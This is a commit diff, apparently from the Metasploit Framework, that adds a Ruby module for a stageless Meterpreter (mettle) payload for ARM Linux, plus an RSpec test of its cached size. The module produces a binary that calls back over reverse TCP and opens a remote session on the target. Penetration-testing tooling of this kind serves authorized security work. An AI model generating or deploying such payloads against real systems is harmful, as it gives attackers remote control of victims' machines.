Add stageless mettle for Linux/armle
parent
b74482aa6e
commit
7a654ca76c
|
@ -0,0 +1,41 @@
|
||||||
|
##
|
||||||
|
# This module requires Metasploit: http://metasploit.com/download
|
||||||
|
# Current source: https://github.com/rapid7/metasploit-framework
|
||||||
|
##
|
||||||
|
|
||||||
|
require 'msf/core'
|
||||||
|
require 'msf/core/handler/reverse_tcp'
|
||||||
|
require 'msf/base/sessions/meterpreter_options'
|
||||||
|
require 'msf/base/sessions/mettle_config'
|
||||||
|
require 'msf/base/sessions/meterpreter_armle_linux'
|
||||||
|
|
||||||
|
module MetasploitModule
|
||||||
|
|
||||||
|
CachedSize = 284152
|
||||||
|
|
||||||
|
include Msf::Payload::Single
|
||||||
|
include Msf::Sessions::MeterpreterOptions
|
||||||
|
include Msf::Sessions::MettleConfig
|
||||||
|
|
||||||
|
def initialize(info = {})
|
||||||
|
super(
|
||||||
|
update_info(
|
||||||
|
info,
|
||||||
|
'Name' => 'Linux Meterpreter',
|
||||||
|
'Description' => 'Run the mettle server payload (stageless)',
|
||||||
|
'Author' => [
|
||||||
|
'Adam Cammack <adam_cammack[at]rapid7.com>'
|
||||||
|
],
|
||||||
|
'Platform' => 'linux',
|
||||||
|
'Arch' => ARCH_ARMLE,
|
||||||
|
'License' => MSF_LICENSE,
|
||||||
|
'Handler' => Msf::Handler::ReverseTcp,
|
||||||
|
'Session' => Msf::Sessions::Meterpreter_armle_Linux
|
||||||
|
)
|
||||||
|
)
|
||||||
|
end
|
||||||
|
|
||||||
|
def generate
|
||||||
|
MetasploitPayloads::Mettle.new('armv5l-linux-musleabi', generate_config).to_binary :exec
|
||||||
|
end
|
||||||
|
end
|
|
@ -4290,6 +4290,16 @@ RSpec.describe 'modules/payloads', :content do
|
||||||
reference_name: 'linux/armle/mettle/reverse_tcp'
|
reference_name: 'linux/armle/mettle/reverse_tcp'
|
||||||
end
|
end
|
||||||
|
|
||||||
|
context 'linux/armle/mettle_reverse_tcp' do
|
||||||
|
it_should_behave_like 'payload cached size is consistent',
|
||||||
|
ancestor_reference_names: [
|
||||||
|
'singles/linux/armle/mettle_reverse_tcp'
|
||||||
|
],
|
||||||
|
dynamic_size: false,
|
||||||
|
modules_pathname: modules_pathname,
|
||||||
|
reference_name: 'linux/armle/mettle_reverse_tcp'
|
||||||
|
end
|
||||||
|
|
||||||
context 'linux/mipsbe/mettle/reverse_tcp' do
|
context 'linux/mipsbe/mettle/reverse_tcp' do
|
||||||
it_should_behave_like 'payload cached size is consistent',
|
it_should_behave_like 'payload cached size is consistent',
|
||||||
ancestor_reference_names: [
|
ancestor_reference_names: [
|
||||||
|
|
Loading…
Reference in New Issue